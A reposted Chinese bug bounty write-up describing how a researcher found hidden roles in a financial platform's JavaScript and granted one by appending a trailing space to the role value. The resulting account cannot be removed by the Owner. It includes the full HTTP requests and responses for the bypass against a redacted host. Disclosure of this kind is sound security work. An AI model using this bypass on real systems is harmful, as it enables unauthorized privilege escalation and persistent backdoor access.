文章总结: 作者在某金融平台渗透测试中通过审计JavaScript文件发现未公开的隐藏角色SALES。利用参数后添加空格的技巧绕过API权限校验,成功将该角色赋予测试账户。该漏洞导致严重的权限提升,且由于系统逻辑缺陷,被赋予该角色的账户无法被任何管理员修改或删除,形成永久后门。建议安全测试人员重视JS文件分析,挖掘隐藏功能与逻辑漏洞。 综合评分: 88 文章分类: WEB安全,渗透测试,代码审计,SRC活动,漏洞分析
我是如何在 JavaScript 中发现一个隐藏角色,并最终变成永久后门的
haidragon haidragon
安全狗的自我修养
2026年3月5日 12:45 湖南
官网:http://securitytech.cc
Whoami & 发现过程
我的名字是 Adnane,AKA 0xhun73r,我是一名安全研究员。
在这篇文章中,我将分享我最近在一个漏洞赏金项目中发现的一个有趣问题。
几天前, 我正在 HackerOne 上测试一个私有漏洞赏金项目。 这个项目有点复杂, 所以我花了几天时间测试它的各种功能。
当我感觉自己已经测试完所有功能、准备转向下一个目标时,我决定先停下来重新检查一遍。
我心想:
“在离开之前,再看一遍 JavaScript 文件吧。”
我的直觉告诉我:也许那里隐藏着什么东西。
事实证明,我的直觉没有错。
关于目标系统
这个应用允许企业安全访问用户的金融账户,并管理相关金融数据。
系统角色
- Owner 对整个平台拥有完全控制权
- Admin 管理控制台、团队成员以及所有客户请求
- Developer 访问控制台,但只能管理自己的客户请求
- Agent 只能处理自己的客户请求
漏洞总结
在分析目标应用时,我发现了一个严重的权限提升漏洞。
系统中存在两个隐藏角色:
SALES
PAYMENTS_AGENT
这些角色:
被嵌入在 JavaScript 文件中,但在 UI 界面中完全不可见。
正常情况下:
API 会阻止分配 SALES 角色。
但是通过一个简单的技巧:
在角色值后面加一个空格
"SALES "
就可以绕过限制。
这意味着任何拥有 Team Management(团队管理)权限 的用户都可以:
- 访问整个 Dashboard
- 管理团队成员(添加 / 删除)
- 处理所有客户请求
- 发送邀请
最严重的问题是:
一旦这个角色被赋予:
该账号将变成永久存在。
即使是 Owner 也:
- 无法修改
- 无法降级
- 无法删除
这相当于在系统中创建了一个:
不可检测的永久后门。
漏洞复现步骤
1. 发现隐藏角色
在分析应用的 JavaScript 文件 时,我发现了这些未文档化的角色:
"role": "SALES"
"role": "PAYMENTS_AGENT"
这些角色:
在前端完全隐藏,且无法通过正常 UI 分配。
2. 尝试邀请用户为 SALES 角色
我使用一个拥有 “邀请并管理团队成员”权限 的账户。
然后使用 Burp Suite 拦截邀请请求,并把 role 改成:
SALES
请求
POST /api/teams/{team_id}/invite HTTP/2
Host: dashboard-api.redacted.com
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json
{
"email": "[email protected]",
"role": "SALES"
}
返回
HTTP/2 400 Bad Request
请求被立即拒绝。
说明 API 禁止在创建成员时赋予 SALES 角色。
3. 尝试修改已有成员角色
接着,我尝试修改现有团队成员的角色为 SALES。
请求
PUT /api/teams/{team_id}/users/{user_id}/roles/default HTTP/2
Host: dashboard-api.redacted.com
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json
{
"userId": "{user_id}",
"role": "SALES"
}
返回
HTTP/2403 Forbidden
{
"code": 40304,
"message": "Sales role cannot be granted or revoked"
}
点击或按回车查看完整图片
返回结果明确说明:
系统明确禁止授予或撤销 SALES 角色。
4. 绕过限制的方法
我尝试了很多绕过方式都失败了。
然后我想到一个简单的方法:
在角色值后面加一个空格
"SALES "
修改后的请求
PUT /api/teams/e6b10541-d3df-41fe-88a0-00f29a5bee9a/users/dc28f5e9-bbfd-4312-90c9-1c8f8255da53/roles/default HTTP/2
Host: dashboard-api.redacted.com
Accept: application/json, text/plain, */*
Authorization: Bearer (jwt)
Content-Type: application/json
{
"userId":"dc28f5e9-bbfd-4312-90c9-1c8f8255da53",
"role":"SALEs "
}
返回
HTTP/2 204 No Content
点击或按回车查看完整图片
204 No Content 表示请求成功执行。
5. 验证结果
成功请求之后,我检查了该用户的权限。
发现获得了以下权限:
[
{
"name": "DashboardAccess",
"description": "访问整个控制台"
},
{
"name": "SendInvites",
"description": "向客户发送邀请"
},
{
"name": "ManageRequests",
"description": "可以处理任何客户请求"
},
{
"name": "TeamManagement",
"description": "可以邀请和管理团队成员"
},
{
"name": "SalesDemo",
"description": "向客户演示产品"
}
]
点击或按回车查看完整图片
更严重的是:
这个用户变得无法被修改或删除。
我回到团队 Dashboard,尝试删除该用户,但系统不断报错:
Sales role cannot be granted or revoked
点击或按回车查看完整图片
点击或按回车查看完整图片
结果:
- 任何用户,包括 Owner,都无法修改该用户角色
- 尝试删除该成员也会失败
漏洞影响
这个漏洞允许任何拥有 TeamManagement 权限 的用户:
将其他成员提升为隐藏角色 SALES。
从而:
- 绕过系统的权限模型
- 打破角色层级控制
更严重的是:
一旦赋予 SALES 角色
即使 Owner 也无法撤销。
这意味着:
系统中会存在一个
永久的高权限账号(Persistent Backdoor)。
进一步影响
该账户将获得完整管理能力:
- 完整 Dashboard 访问
- 团队成员管理
- 客户请求处理
- 发送邀请
- 使用 SalesDemo 特权功能
而 SalesDemo 权限:
普通 Admin 并不具备。
也就是说:
SALES 权限实际上比 Admin 更高。
攻击可扩展性
这个问题还可以规模化利用:
攻击者可以:
- 提升多个用户
- 建立持久访问
- 最终接管整个团队
漏洞报告结果
我将该漏洞报告为:
High(高危)
但平台将其评级改为:
Low(低危)
目前我仍在等待他们:
重新评估漏洞严重性。
一个建议
给目标系统足够时间去修复。
一定要仔细检查 JavaScript 文件。
即使你觉得自己已经测试完所有功能。
感谢阅读
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《我是如何在 JavaScript 中发现一个隐藏角色,并最终变成永久后门的》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论